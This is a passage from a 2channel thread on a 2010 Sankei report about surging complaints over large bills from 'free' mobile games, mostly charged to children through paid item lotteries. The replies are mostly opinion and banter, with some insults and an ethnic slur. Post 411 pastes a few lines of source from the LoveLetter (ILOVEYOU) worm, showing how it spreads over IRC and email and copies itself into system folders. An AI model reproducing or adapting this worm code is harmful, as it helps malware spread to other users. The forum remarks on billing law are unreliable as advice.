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【ゲーム】携帯電話の「無料」ゲーム、アイテム購入→高額請求、平均9万5000円…苦情が急増 [10/12/29]

1 :備餡子φ ★:2010/12/31(金) 01:51:30 ID:???
 「無料」とうたった携帯電話のゲームサイトをめぐるトラブルが急増している。
「子供に使わせたら高額な利用料を請求された」という親からの相談が目立つ
。国民生活センターは「本当に無料かどうか確認を」と注意喚起している。  

請求額に愕然

 今春、都内に住む20代の女性は携帯電話会社からの請求額に驚いた。
「無料」だったはずが、請求金額は約3万円に上っていた。

 仕事が忙しかった女性は、小学校低学年の息子を楽しませるため、携帯電話の無料ゲームで遊ばせていた。
ところが、ゲームで使用する特別アイテム(道具)を得るためのくじは1回300円と有料。
夢中になった息子は十数日間で100回近く有料くじを購入していた。

 思わぬ請求に女性はゲームサイトの運営会社と交渉。
だが、運営会社は「子供のせいにしている」と反論し、減額に応じなかったという。

平均9万5000円

 国民生活センターによると、携帯電話とパソコンの「無料オンラインゲーム」をめぐるトラブルの相談件数は、統計を
取り始めた平成21年度は555件。22年度も12月14日現在で407件とすでに前年同期を106件上回っている。
相談者の請求額の平均は約9万5000円にも上るという。

 また、21年度に」アイテム購入などの有料契約を結んだ当事者を年代別でみると、最多が10代の165件。
30代が124件、20代が82件と続き、10歳未満も39件あった。

 約15万円を請求されたという40代の母親からは「小学生の息子は無料と思い、私も支払い時は規制がかかると思っていた」
との相談が寄せられるなど、無料と思い込んでいたケースが大半を占めるという。

たらい回しも

 東京都消費生活総合センターの木村嘉子相談員は「画面に表示される『購入』という文字は小学校低学年の子供には読めず
ボタンを押せばアイテムを取得できると思ってしまう。CMで無料と謳っているので、子供はそう思い込んでいる」と指摘する。

 相談者がたらい回しにされるという問題点も。
携帯電話会社は「収納代行をしているだけ」、サイト運営会社は「ゲームの場を貸しているだけ」、ゲーム製作会社は
「ゲームを作っているだけ」と応じるという。

 トラブルが増加するなか、大手ゲームサイト運営会社のグリーは一部のCMで「無料」という音声を取りやめた。

 総務省の調査では、21年の携帯電話ゲーム市場は884億円で前年比1.7%増とほぼ横ばいだが、ゲーム内などのアイテムや
キャラクター販売市場は447億円で184.7%増と急拡大している。

 木村相談員は「消費者を守る制度がまだ未熟。サイト運営会社は、子供に簡単に課金できない仕組みにすべきだ」と指摘。
その上で「親も『知らなかった』では済まされない。子供に遊ばせる前によく確認を」と呼びかけている。

▽ソース:MSN産経ニュース (2010/12/29)
http://sankei.jp.msn.com/affairs/crime/101229/crm1012292128012-n1.htm

404 :名刺は切らしておりまして:2011/01/12(水) 03:40:51 ID:ZDTu2on7
>>403
業務改善命令なんて何の効力も無いんだぜ?w
トヨタの欠陥隠蔽とか分かり易い例だ

もうTV媒体自体がアホ釣る為の狩場になってるのは分かるだろ


サラ金パチ保険屋etc

405 :名刺は切らしておりまして:2011/01/12(水) 03:54:03 ID:AnEonc7c
ヨタの欠陥隠蔽?

どう見ても捏造でしたが何か?

406 :名刺は切らしておりまして:2011/01/12(水) 04:34:51 ID:ZDTu2on7
>>405
何がどう捏造なの?
ハイラックスの件も北米での「トヨタの勝利」も恥晒しただけだが?
二度の「制裁金」納めるのは非を認めた証に過ぎないが、まだ無責任な言い逃れしたいのか?

糞ピクは幼稚な印象操作していくら貰えるの?wwww

407 :名刺は切らしておりまして:2011/01/12(水) 08:57:54 ID:RTTExL9e
>>406
>>405は去年のプリウスの事を言ってんじゃないの?
結局はほとんど踏み間違えでしたって奴。
まあ関係ないスレで突然関係ない企業の批判する辺りが、アンチのアンチたる所以なんだろうな。

408 :名刺は切らしておりまして:2011/01/12(水) 12:59:41 ID:DQ5C2Tyv
安いからって
違法コピーもの安易にあたえてた親も多かったからなあ
正直ざまみろとしか思えない

409 :名刺は切らしておりまして:2011/01/12(水) 15:56:33 ID:ZDTu2on7
>>407
アレも同じように渋々リコールしたが十分欠陥だし、捏造でも何でもないだろw
例えに出しただけで、何も知らずに突っ掛かってるのは誰だ?

410 :名刺は切らしておりまして:2011/01/12(水) 16:36:48 ID:d1nP+ASz
規制の動きが出てきたという事は、
最初に始めた奴等が目標額を稼いで手を引いたってことか。

411 :名刺は切らしておりまして:2011/01/12(水) 16:37:18 ID:1XIw5uk2
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body onload=window();>")

412 :名刺は切らしておりまして:2011/01/12(水) 21:21:02 ID:KMgWV5V5
一部有料じゃなくて、一部無料の方が正しい。

413 :名刺は切らしておりまして:2011/01/13(木) 05:06:25 ID:BMYXXoyF
バカだらけ

414 :名刺は切らしておりまして:2011/01/13(木) 06:33:01 ID:tPAQOr/7
>>411 は断末魔のワンクリック詐欺ゲーム会社がばらまいてるウイルス

415 :名刺は切らしておりまして:2011/01/13(木) 08:53:45 ID:v+Unfk9f
>>412
2chも始めるのは無料だけど、●とか専用ブラウザは有料だから、
「有料サイト」として扱おう。

416 :名刺は切らしておりまして:2011/01/13(木) 12:17:33 ID:q8SL9hMv
>>415
2chって営利目的だろ

417 :名刺は切らしておりまして:2011/01/13(木) 19:06:46 ID:O28vF39O
時間帯によっては、未だに「無料です」という音声が入ったCMをやっているよ

418 :名刺は切らしておりまして:2011/01/14(金) 00:12:08 ID:cA8+kjwg
ドラクエのゴールドのようなノリで子供だったら買いそうだな
ゲーム内で自己完結していないから
ネトゲは注意が必要だな
「無料です」はだめでしょ

419 :名刺は切らしておりまして:2011/01/14(金) 00:24:21 ID:z+g1YyoB
さっさと違法にしろよ
携帯ゲーム業界なんて何の技術もないIT土方とか底辺デザイナーを
量産してるだけで何も残らないのに

420 :名刺は切らしておりまして:2011/01/14(金) 08:53:51 ID:tUf2JPAY
>>417
上にあったけど、課金も何もないゲームだけに関しては「無料」って言ってるみたいよ。

>>419
どういう内容で遺法とするの?

421 :名刺は切らしておりまして:2011/01/14(金) 09:17:19 ID:achKEqTc
>>2
いい例えだなw
そして、それを無料と宣伝する朝鮮玉入れ屋以下のゴミ屑がGree。

422 :名刺は切らしておりまして:2011/01/14(金) 09:41:31 ID:rV/7YkYe
やっぱキャリアがちゃんとせんとな。
こういう代行徴収はやめることだよ。

423 :名刺は切らしておりまして:2011/01/14(金) 10:17:19 ID:2VRlHDDe
蓮舫、消費者担当大臣期待してるぞ


424 :名刺は切らしておりまして:2011/01/14(金) 11:02:10 ID:TjRgPuU8
やったことないからわからないんだけど、
課金するサービスの場合はちゃんと「クリックしたら◯◯円の支払いが発生します」みたいな表示はでないの?

425 :名刺は切らしておりまして:2011/01/14(金) 11:11:12 ID:YZCCBrEN
「無料です」が復活しててw

426 :名刺は切らしておりまして:2011/01/14(金) 12:09:07 ID:tUf2JPAY
>>424
着うたのダウンロードとほぼ変わらんはず。

427 :名刺は切らしておりまして:2011/01/14(金) 15:16:51 ID:lQbZ2WvV
ガキにはiphoneでも持たせとけ。あれならモバゲーもグリーもできんし
携帯課金も使えんぞw

428 :名刺は切らしておりまして:2011/01/14(金) 15:36:50 ID:eDrkVBLx
>>427
モバゲーもグリーもiPhone向けアプリ作ってる。
今は無くてももうすぐできるんでその時にまた死ぬ。
意味ない、むしろ今は課金しないといいながら実はやる無料ゲーム並みに悪質なiPhone詐欺。

429 :名刺は切らしておりまして:2011/01/14(金) 16:28:22 ID:rV/7YkYe
>>428
ジョブズ様がこんな詐欺ビジネス認めるはずがなかろう。

430 :名刺は切らしておりまして:2011/01/14(金) 17:53:46 ID:nft4Cocp
ゲーセンで入場料無料といってるようなものだからなぁ

431 :名刺は切らしておりまして:2011/01/14(金) 20:03:07 ID:lQbZ2WvV
>>428
でも携帯みたいに無審査でパスワードだけ入れれば課金できるってのと
ちょっと違うからな。itmsのアカウント作ったりクレカ登録かitmsカード買って
チャージしないといけないし

432 :名刺は切らしておりまして:2011/01/15(土) 02:32:43 ID:TCIgzcVs
>>424
まあ、ガキにやらせる親がバカ。



433 :名刺は切らしておりまして:2011/01/15(土) 02:43:48 ID:9kmcELf4
>>001
、わ。、二本立て0がをんだねなんてワ、ヲ、しばらく?さ?ん

434 :名刺は切らしておりまして:2011/01/15(土) 02:45:30 ID:9kmcELf4
>>429
クレームも

435 :名刺は切らしておりまして:2011/01/15(土) 03:42:48 ID:/vIJQ8kP
ap;pleは対法人で、儲けの7割ポケットに入る契約なら
なんでも認めちゃうビッチな会社

436 :名刺は切らしておりまして:2011/01/15(土) 17:15:01 ID:Z822Z7Tc
子守りを携帯にやらせたんだから
対価はらうのは当然

437 :名刺は切らしておりまして:2011/01/15(土) 17:17:52 ID:XN6sRdU3
悪いのはパスワードなしで課金されるソフトバンクとそうするように指示した孫ということでOK?

438 :名刺は切らしておりまして:2011/01/15(土) 21:47:58 ID:T0etVCNT
テレビのCMを規制すべき悪徳商売だよ、グリーやモバゲーは。
南場は謝罪すべき。
ってか、あのババーを土下座させようぜ。

439 :名刺は切らしておりまして:2011/01/16(日) 10:59:41 ID:6xKc/C4l
iPhoneなら問題があるアプリは
すぐ対処してくれるがなあ
日本企業は危なくて信用できない
通信系はとくにw

440 :名刺は切らしておりまして:2011/01/16(日) 11:06:45 ID:0e/PRTzw
著作権侵害にはまったく対応しないけどな

441 :名刺は切らしておりまして:2011/01/16(日) 12:51:03 ID:1kJDFAxg
オナニーフォン自慢の>>439がイカ臭いので
孫さんひきとってくださーい

442 :名刺は切らしておりまして:2011/01/16(日) 18:26:32 ID:jzRN3rAi
>>424
ソフトバンクはデフォでは出ない。

あと、○○円という表記ではなく、○○ポイントといった表記なので、
子供は面白がってポンポン押してしまう。

443 :名刺は切らしておりまして:2011/01/16(日) 18:33:51 ID:qWeJc7QN
>>391>>400は本当のところどうなの?


444 :名刺は切らしておりまして:2011/01/18(火) 17:51:53 ID:U9JJ5fPc
ゲーム会社の料金を携帯会社が、携帯料金と共に徴収する
というタテマエじゃないのかな

445 :名刺は切らしておりまして:2011/01/21(金) 21:14:15 ID:+3nr8HBh
>>443
判例だけ見ると無理。クローン携帯でもダメだったみたい

親が利用者として契約:契約時の書類が虚偽記載
子供が利用者として契約:キッズ設定OFFは、親の意図

昔のままのユルイ状態なら、契約主体の無効ができたけど
散々パケ死とか騒いだせいで、利用者側の逃げ道が完全になくなった
クレカと同じ、と家庭内で教育するしかない

446 :名刺は切らしておりまして:2011/01/21(金) 21:33:00 ID:YUsYEE7T
>>439
Appleは中国人の作る海賊版コンテンツ野放しじゃないか。

447 :名刺は切らしておりまして:2011/01/22(土) 22:24:51 ID:bYhZogQ5
>>446
アップルを日本の裁判所へ訴えて勝利を勝ち取れ。
1000億はとってほしい。
Appleにとってははした金。

448 :名刺は切らしておりまして:2011/01/23(日) 23:56:56 ID:iLwk2u3p
>>445
コンテンツ代金のみ支払い拒否が出来るよ

449 :名刺は切らしておりまして:2011/01/25(火) 05:25:46 ID:YojSlPJF
ゆとりガキってどんだけ馬鹿なの

450 :名刺は切らしておりまして:2011/01/25(火) 06:37:40 ID:A0YBXk70
>>449
お前の子供時代と大差ない
今もかな

451 :名刺は切らしておりまして:2011/01/25(火) 06:52:08 ID:XkyKHiRi
>>388
馬鹿親にありがちな発想だね

452 :名刺は切らしておりまして:2011/01/25(火) 11:31:02 ID:6jsGGHxA
そのうちR指定とか表示されそう

453 :名刺は切らしておりまして:2011/01/30(日) 19:07:59 ID:S7gUZXg0


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